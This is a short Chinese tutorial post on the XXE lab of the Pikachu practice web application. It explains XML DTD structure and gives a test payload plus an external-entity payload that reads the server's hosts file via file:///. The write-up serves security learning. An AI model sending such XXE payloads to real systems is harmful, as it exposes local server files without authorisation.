皮卡丘(pikachu)XXE

14 篇文章 1 订阅
13 篇文章 2 订阅

XXE漏洞

第一部分:XML声明部分

<?xml version="1.0"?>

第二部分:文档类型定义 DTD

<!DOCTYPE note[

<!--定义此文档是note类型的文档-->

<!ENTITY entity-name SYSTEM "URI/URL">

<!--外部实体声明-->

]>

第三部分:文档元素

<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>

</note>

DTD(Document Type Definition,文档类型定义),用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部.

DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。

使用payload

<?xml version = "1.0"?><!DOCTYPE note [    <!ENTITY hacker "天津曲艺团">]><name>&hacker;</name>
 
提交后,可以看到前端返回了我们在xml中的DTD定义变量的值

如果我们输入恶意的payload,通过外部实体引用从而去获取后台服务器的本地文件信息。(外部引用可以支持http,file,ftp等协议)
Payload:
<?xml version = "1.0"?> <!DOCTYPE ANY [     <!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts">   ]> <x>&f;</x>
 

使用这样的方法我们就可以读取对应服务器的文件了          

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值